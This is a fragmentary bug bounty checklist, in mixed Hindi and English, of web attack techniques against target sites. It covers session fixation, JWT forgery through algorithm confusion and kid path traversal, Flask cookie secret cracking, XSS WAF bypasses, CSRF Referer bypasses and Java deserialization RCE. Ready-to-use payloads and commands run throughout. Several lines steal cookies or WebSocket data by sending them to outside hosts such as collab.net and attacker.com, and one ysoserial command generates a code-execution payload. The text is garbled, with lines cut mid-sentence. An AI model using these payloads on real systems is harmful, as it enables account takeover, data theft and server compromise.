// BUG BOUNTY EXECUTION CHECKLIST — HACKERONE REPORTS
session_id=ASDFGH123
as "authenticated" after victim logs in — attacker pre-seeds session ID, victim
authenticates it, attacker hijacks account instantly without knowing the password.Set-Cookie header
observe karo. Pre-login ka session value note karo (e.g., session_id=ASDFGH123).
Set-Cookie value dekho.
https://target.com/login?sessionid=OLD_ID
?sessionid=
ya ?PHPSESSID= parameter accept karna =
instant High/Critical bug. Login forms jo session URL mein lete hain, wahan ye 100% kaam
karta hai. Burp Repeater mein GET request edit karke test karo.Cache-Control: no-store missing?
Cache-Control: no-cache, no-store, must-revalidate +
Pragma: no-cache + Expires: 0 to all authenticated page responses.
refresh_token that survives? Both access + refresh must expire on
logout.
/api/v1/ endpoints
with same cookie. Often same gap exists.
Secure flag. App on HTTPS, but cookie can
travel on HTTP too. Attacker on coffee shop WiFi does MITM → HTTP downgrade → intercepts
plaintext cookie → Full ATO.Secure, HttpOnly,
SameSite.
http://target.com (not HTTPS). Does browser send cookie? Check Burp.
mitmproxy or Burp
on HTTP. Can you capture the session cookie over plain HTTP?
SameSite=None without
Secure flag = rejected by modern browsers. Both must coexist.
Max-Age = 0 or no Expires). Persistent cookies are
higher risk.
HttpOnly (stops XSS theft) +
Secure (stops HTTP interception) + SameSite=Strict/Lax (stops
CSRF). All three together = minimum cookie security.SameSite=None; Secure — sent on ALL
cross-site requests. Attacker's page submits POST request to Fastmail → browser sends
session cookie → DELETE /email action executed. Email permanently deleted without victim's
knowledge.csrf_token field/header? If no =
vulnerable.
/google/register decodes JWT payload but
NEVER verifies signature. Attacker crafts fake JWT with victim's email, no secret key needed
→ instant account access./register,
/auth, /google/register type endpoints in API.
{"email": "admin@target.com"}. Use any random string as signature.
admin@company.com or root@company.com for privilege
escalation.
/plugins/servlet/ac/.../get-started as Basic user.
/.well-known/jwks.json or /certs or check JS files for PEM.
Copy the RSA public key.
alg: RS256.
alg from RS256 → HS256.
moderator: true, room: "TargetRoom". Send forged token.
SECRET_KEY = "N/A". Tool
flask-unsign brute-forces it instantly from rockyou.txt. Now attacker can forge
ANY session cookie — inject role: admin, manipulate CSRF tokens and OAuth
states.
.eJ = Flask signed session (base64 encoded JSON).
flask-unsign --decode -c "[COOKIE]" — See what's inside the session.
flask-unsign --unsign -c "[COOKIE]" -w rockyou.txt. Check for hits.
flask-unsign --sign -c '{"user":"admin","role":"admin"}' -s "N/A". Get new
cookie.
secret,
dev, test, changeme, flask, blank
string "".
CookieMonster + flask-unsign. JWT apps:
use hashcat -a 0 -m 16500 jwt.txt rockyou.txt for weak HMAC secrets.kid
parameter tells server WHICH file to use as signing key. Attacker sets
kid: "../../dev/null" → server reads /dev/null (always empty) →
signs token with empty string → server verifies with same empty string = MATCH. Full admin
bypass.
"kid": "some/path"? = Injectable.
kid to
../../../../../../dev/null.
AA== (base64 of 0x00 / null
byte).
sub: "administrator" or role: "admin" in payload.
kid: "' UNION SELECT 'hacker_key'--" for DB-backed kid lookup = SQLi in
JWT.
marketing.hostinger.com
(third-party page). Chain: Login → redirect to subdomain → URL has token → XSS reads
window.location → exfiltrates token → Full ATO via hPanel.redirectUrl param. Try attacker.com first (likely
blocked), then sub.target.com.
?token= or #token=? If yes = insecure token delivery.
auth.target.com/login?redirectUrl=vuln-sub.target.com/page?xss=PAYLOAD
window.location.href.match(/token=([^&]+)/)[1] → send to attacker Burp
Collaborator.
EVENT_CITY reflected unsanitized.
<script> blocked by Akamai WAF. Bypass:
'><A HRef=" AutoFocus OnFocus=top/**/?.document%2Bcookie> — focus
event steals cookie. POST XSS delivered via CSRF HTML auto-submit page.
'><script>alert(1)</script> into every POST field
value.
<script> blocked, try: <img onerror=alert(1)>,
<A onmouseover=alert(1)>, AutoFocus OnFocus
combos.
new Image().src="https://collab.net/?c="+document.cookie. Check Burp
Collaborator for hit.
/**/.fsid token. XSS stuffs
victim browser with huge fake cookies → server returns 400 error → fsid token
remains in URL unconsumed → JS reads it → HttpOnly bypass → Full ATO. Self-XSS
becomes $3,000 bug!/cookie_bridge/store or similar endpoints.
window.opener.location.href.
<input type="hidden"> in page source. These are often forgotten by
devs.
<script>alert(document.domain)</script>
document.cookie? If HttpOnly missing → direct ATO path.
redirectUrl=javascript:alert(1) executes JS
after login. Impact limited because main session cookie has HttpOnly — attacker
can't steal it. Still a valid XSS for phishing/UI redress.redirectUrl=, next=, return=,
redirect=.
javascript:alert(document.domain). Login and observe.
document.cookie in console. Can you see session cookie? If yes → ATO =
High. If no → Medium XSS only.
redirectUrl=https://evil.com. If redirects = separate Open Redirect
bug.
data:,
vbscript: (IE), javascript: (encoded bypass).
new WebSocket("wss://target.com/socket"). Victim visits → browser auto-sends
cookies → server accepts WS. BUT Meteor stores auth tokens in localStorage not
cookies → Same-Origin stops cross-origin read → attack fails. Informative because secure
architecture.
wss:// handshake requests.
Authorization header / token in WS message (safe)?
Origin: https://attacker.com. Does server reject with
403?
new WebSocket(url) — check onmessage for data. Needs
cookie-based auth AND no Origin check.
xsshunter.com or self-host EzXSS. Get your unique payload URL.
<script src="https://xss.hunter/YOURPAYLOAD"></script>
document.domain — is it an internal/admin
domain?
document.cookie, localStorage, sessionStorage,
document.domain, full page HTML.
wss://target.com/socket URL.
Origin: https://attacker.com. 101 Switching Protocols = vulnerable. 403 =
protected.
var ws = new WebSocket("wss://target.com/socket"); ws.onmessage = function(e){ fetch('https://attacker.com/?d='+e.data) }
blog.target.com (low-value subdomain).
Attacker runs document.domain = 'target.com'. Same-Origin Policy now allows
reading cookies from app.target.com (high-value). Session cookie stolen. Full
account takeover on main app.subfinder,
amass, or cert search to find all *.target.com
subdomains.
blog., forum., help., marketing. —
often less secured.
.target.com (with dot prefix)? If
yes = accessible from all subdomains.
document.domain='target.com'. Then open app.target.com in iframe and try
reading its cookies.
document.cookie from XSS gives app.target.com session. Import and confirm
access.
hackerone.com,
not if it STARTS WITH it. Bypass: host attacker page at
hackerone.com.attacker.com → Referer contains "hackerone.com" → CSRF protection
bypassed.target.com.attacker.com. Does server accept? = contains() check instead of
startsWith().
Origin: null (data URI pages). Server accept null Origin?
target.com.attacker.com subdomain. Host CSRF PoC there. Link sends real
Referer with target string.
contains() is a trap.
Always verify full origin match, not just substring presence."PUT /api/v4/user with
email=attacker@evil.com. Victim visits page → email changed → attacker triggers
password reset → Full ATO.Content-Type: application/json to text/plain. If server still
processes JSON = form-submitatable = CSRF.
document.cookie = 'csrf_token=KNOWN_VALUE; domain=.target.com'.
ysoserial) →
server deserializes = RCE. Full server compromise via session cookie.rO0AB (base64 of AC ED = Java stream magic) = serialized Java object.
CRITICAL target.
java -jar ysoserial.jar CommonsCollections1 "id" | base64 — generates
serialized payload that runs id command.
JSESSIONID or session cookie value with base64 encoded ysoserial payload.
Send request.
curl http://collab.net. Check Collaborator for DNS ping = confirms RCE even
without visible output.